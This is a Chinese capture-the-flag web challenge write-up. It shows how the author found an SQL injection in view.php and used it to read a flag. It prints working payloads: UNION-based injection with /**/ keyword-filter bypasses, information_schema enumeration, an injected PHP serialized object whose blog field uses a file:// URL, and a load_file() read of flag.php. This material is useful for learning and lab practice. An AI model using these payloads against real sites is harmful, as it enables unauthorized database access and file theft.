首先进入题目之后,看见login和join,尝试注册一个账户,同时用dirsearch扫描一下网站 发现有flag.php,直接访问并没有什么结果,然后看见一个robots.txt,访问之后有一个备份的bak文件,下载下来,并没有发现什么;然后再去看看页面 点击admin进去之后,观察到URL中可能存在SQL注入,尝试简单地检测 view.php?no=1 and 1=1# view.php?no=1 and 1=2# 这两个回显不一样,存在SQL注入 通过order by查询一共四列,通过union select 发现过滤了一些关键字,可以通过//来进行绕过,然后联合查询出数据库名以及用户是root, /view.php?no=-1 unIon//select 1,(select group_concat(table_name)from (information_schema.tables) where table_schema=database()),3,4 查询出表名users, /view.php?no=-1 UnIon//select 1,(select group_concat(column_name)from (information_schema.columns) where table_name=‘users’),3,4 查询出列名,发现data可能就是我们想要的数据;但是查出data数据之后,发现是序列化之后的字符串,这里想起来之前的备份源码的作用了,并通过大佬的WP发现可以通过blog可以实现flag的读取,当中还有一个点就是在网页源代码中还有一个data伪协议的读取(当时没太注意看源码);然后 /view.php?no=-1 UnIon//select 1,2,3,'O:8:“UserInfo”:3:{s:4:“name”;s:5:“admin”;s:3:“age”;i:10;s:4:“blog”;s:6:“1.blog”;} 可以得到正常的数据,于是使用blog读取flag /view.php?no=-1 UnIon/**/select 1,2,3,'O:8:“UserInfo”:3:{s:4:“name”;s:5:“admin”;s:3:“age”;i:10;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;} 通过base64解码就能得到flag。
还有一种大佬的方法就是通过root的权限直接读取/var/www/html/flag.php文件得到flag。 /view.php?no=-1 UnIon/**/select 1,load_file("/var/www/html/flag.php"),3,4
附上大佬的wp:https://blog.csdn.net/qq_41500251/article/details/105383065
|